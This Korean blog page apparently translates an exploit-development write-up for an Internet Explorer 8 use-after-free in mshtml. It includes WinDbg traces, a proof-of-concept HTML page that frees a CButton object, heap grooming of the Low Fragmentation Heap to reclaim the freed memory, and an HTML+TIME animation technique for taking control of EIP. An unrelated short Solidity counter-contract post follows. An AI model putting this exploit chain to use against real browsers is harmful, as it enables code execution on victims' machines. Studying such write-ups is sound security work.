0:000> sxe ld:mshtml0:000> g1:023> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"1:023> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g"1:023> bp !mshtml + 0x129f01:023> gBreakpoint 2 hiteax=04ed86a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202mshtml!CDoc::operator new+0x13:3ceb29f0 c3              ret1:023> ba w4 eax +  0x1A8 ".printf \"Just added the Default Element\";.echo;g"1:023> sxe ld:jscript1:023> gModLoad: 3d7a0000 3d854000   C:\WINDOWS\system32\jscript.dll1:023> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"1:023> gbefore creating the button and adding it to the div elementCreated CButton at 05748fa8Just added the Default Elementbefore adding button to Formbefore clearing out the div innerHTMLadding body element to the divcollecting garbageDeleting CButton at 05748fa8Done collecting garbage(ca4.6b8): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=05748fa8 ebx=04c94f28 ecx=00000052 edx=00000000 esi=00000000 edi=05748fa8eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202mshtml!CMarkup::OnLoadStatusDone+0x4ef:3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05748fa8=????????  

위 코드도 DIV를 없애고 Button을 document.body에 할당하는 방식으로 더 간단하게 POC를 만들 수 있으나 그렇게 하면 값들이 바뀌고 exploit이 어려워집니다.

Exploitation

이제 우리는 exploit 하기 위한 대부분의 정보를 알고 있습니다. 우리는 free된 객체의 size와 언제 free가 되는지를 알고 있습니다. 그래서 free된 메모리를 우리가 할당한 메모리로 바꿔치기하는 것은 매우 쉽습니다. 먼저 우리는 Low Fragmentaion Heap(http://msdn.microsoft.com/en-us/library/windows/desktop/aa366750(v=vs.85).aspx)에 의해 할당된 CButton 객체가 사용한 메모리 영역을 확인해야 합니다. 이 작업은 해제된 메모리를 원하는 값으로 바꿀 때 더 확실하게 할 수 있습니다.  LFH는 free block을 합치거나 나누지 않고 정해진 사이즈만큼의 block을 재사용하는 방식입니다. free된 CButton 객체는 0x58(CButton:CreateElement를 보면)만큼의 사이즈를 가집니다. 그래서 우리는 0x58만큼의 사이즈를 할당하고 free된 메모리 사이즈 만큼을 다시 채우는 작업이 필요합니다.

LFH를 확실하게 사용하는 방법은 Valasek 님이 쓰신 phrack 문서(http://www.phrack.org/issues.html?issue=68&id=12)에 나와있습니다. 바로 동일한 크기로 16번 연속으로 할당하는 것입니다.

물론 우리는 iexplorer.exe의 pageheap을 끄고 windbg에 iexplorer가 attach되어있을 때 debugheap을 사용하지 말아야 합니다.

기존의 poc코드에 LFH를 사용하기 위한 코드와 해제된 영역을 대체할 만한 코드를 추가했습니다.

  <!doctype html><html><head>                              function helloWorld() {                                              e_form = document.getElementById("formelm");                                              e_div = document.getElementById("divelm");                                               for(i =0; i                                                              document.createElement('button');                                              }                                               Math.atan2(0xbadc0de, "before creating the button and adding it to the div element")                                              e_div.appendChild(document.createElement('button'))                                               Math.atan2(0xbadc0de, "before adding button to Form")                                              e_div.firstChild.applyElement(e_form);                                               Math.atan2(0xbadc0de, "before clearing out the div innerHTML")                                              e_div.innerHTML = ""                                               Math.atan2(0xbadc0de, "adding body element to the div")                                              e_div.appendChild(document.createElement('body'));                                              Math.atan2(0xbadc0de, "collecting garbage")                                              CollectGarbage();                                              e_div.className = "\u2424\u2424exodusintel.com--------------------------";                                              Math.atan2(0xbadc0de, "Done collecting garbage")                                                       }                </head><body onload="eval(helloWorld())">              
 
               <form id="formelm">               </form></body></html>  

다음과 같이 크래시가 발생합니다.

  (f90.bd4): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=24242424 ebx=0021f728 ecx=00000052 edx=00000000 esi=00000000 edi=00235088eip=3d086271 esp=0162d79c ebp=0162d80c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206mshtml!CMarkup::OnLoadStatusDone+0x504:3d086271 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:24242500=????????1:025> dc edi00235088  24242424 00780065 0064006f 00730075  $$$$e.x.o.d.u.s.00235098  006e0069 00650074 002e006c 006f0063  i.n.t.e.l...c.o.002350a8  002d006d 002d002d 002d002d 002d002d  m.-.-.-.-.-.-.-.002350b8  002d002d 002d002d 002d002d 002d002d  -.-.-.-.-.-.-.-.002350c8  002d002d 002d002d 002d002d 002d002d  -.-.-.-.-.-.-.-.002350d8  002d002d 0000002d eaa7c6ac ff0c0100  -.-.-...........002350e8  3cf74690 0021f728 002347f8 3cf77870  .F.<(.!..G#.px.<002350f8  00000001 00000000 01000808 ffffffff  ................  

레지스터가 원하는 값으로 바뀌었고, 바뀐 값을 참조하여 eip가 변조될 수 있으므로, 이제 완벽한 exploit을 만들 수 있다는 것이 확실해졌습니다. 하지만 레지스터에 offset을 더한 곳을 참조하여 call을 하는게 아니라 EIP를 곧바로 바꿀 수 있으면 더 멋지지 않을까요? 대부분의 exploit 제작자들은 힙스프레이를 사용했을 겁니다. 하지만 IE8에선 힙스프레이가 반드시 필요하진 않습니다. ASLR을 우회하기 위해서 memory leak을 유발하지 않아도 되며 ASLR이 걸리지 않은 모듈이 로드되어 있을 필요도 없습니다. 이 방법은 새로운 기법이라고 생각하고 있습니다만 IE9에서는 적용되지가 않기 때문에 이번 기회에 공개하도록 하겠습니다.

IE8 은 SMIL 를 기반으로 한 HTML+TIME을 지원합니다. IE9와 더 높은 최신버젼에서는 지원하지 않습니다만 IE8에선 충분히 재미를 볼 수 있습니다. 정확히 말하자면 우리가 컨트롤 할 수 있는 문자열을 가리키는 임의의 크기의 포인터 배열을  만들 수 있게 해줍니다.  그렇게 하면 free된 0x58 사이즈 만큼의 메모리를 컨트롤 할 수 있고, vftable이 조작된 문자열을 가리키게 만들어서 call [eax+0xdc] 명령어가 힙스프레이없이 우리가 원하는 주소를 호출하게 만들 수 있습니다. 위 방법을 가능하게 하기 위해서는 몇가지 재밋는 구문을 html에 추가해야 합니다.
 세미콜론으로 분리된 문자열로 t:ANIMATECOLOR element 의 'values' 속성을 세팅함으로써 우리는 문자열의 각각의 요소를 가리키는 
포인터들의 배열을 만들 수 있습니다. 고로 우리는 0x58/4 0x22 값을 가지는 문자열을 사용할 필요가 있습니다. 이제 우리는 값 속성을 이
 문자열로 둘 수 있습니다. 보세요, EIP를 직접 조작합니다.
 
values 안에 들어가야 하는 색상 값이 정상적인 값이 아니면 exception이 나서 poc코드가 종료되기 때문에 try except 구문을 사용해서
 넣어줘야 합니다. 이 코드를 수행하면 추가적인 할당이나 해제가 있을 수 있지만 공격에 큰 영향을 미치진 않습니다.  EIP가 변경되었기
 때문에 XP라면 일반적인 ROP 를 하면 됩니다.
블로그 이미지

wtdsoul

,

Solidity 2022.09.03

스터디 2022. 9. 3. 02:39

http://remix.ethereum.org/#optimize=false&runs=200&evmVersion=null&version=soljson-v0.6.0+commit.26b70077.js 

 

Remix - Ethereum IDE

 

remix.ethereum.org

 
pragma solidity ^0.6.0;

contract Counter {
    // 1,2,3 ..
    uint count;

    constructor() public{
        count = 0;

    }

    function getCount() public view returns(uint) {
        return count;
    }

    function incrementCount() public {
        count = count + 1;
    }
}

https://trufflesuite.com/ganache/

 

Ganache - Truffle Suite

Features VISUAL MNEMONIC & ACCOUNT INFO Quickly see the current status of all accounts, including their addresses, private keys, transactions and balances.

trufflesuite.com

https://libero2m.tistory.com/22

 

이더리움 로컬 개발 플랫폼 Ganache 설치하기

가나슈는 크림을 섞어 만든 초콜릿이란 뜻이며 설치하면 아이콘 모양도 크림 바른 초콜릿입니다. ■ Ganache . 가나슈 로컬 PC내에서 이더리움 블록체인 가상 네트워크를 생성해서 스마트 계약 트

libero2m.tistory.com

https://metamask.io/

 

The crypto wallet for Defi, Web3 Dapps and NFTs | MetaMask

A safe crypto wallet for digital tokens & NFTs. Join the blockchain and DeFi world.

metamask.io

incrementCount를 한번 클릭후 다시 getCount해봅니다. 아래와 같이 1로 증가한걸 확인할 수 있습니다.

 

'스터디' 카테고리의 다른 글

solidity 2022/10/02  (0) 2022.10.02
Smartcontract Openzeppelin 22.09.18  (0) 2022.09.18
solidity 2022.09.04  (0) 2022.09.04
이더 GAS 개념  (0) 2022.05.13
블록체인 공부블록체인 공부하기 : ERC Standards (펌)  (0) 2022.05.13
블로그 이미지

wtdsoul

,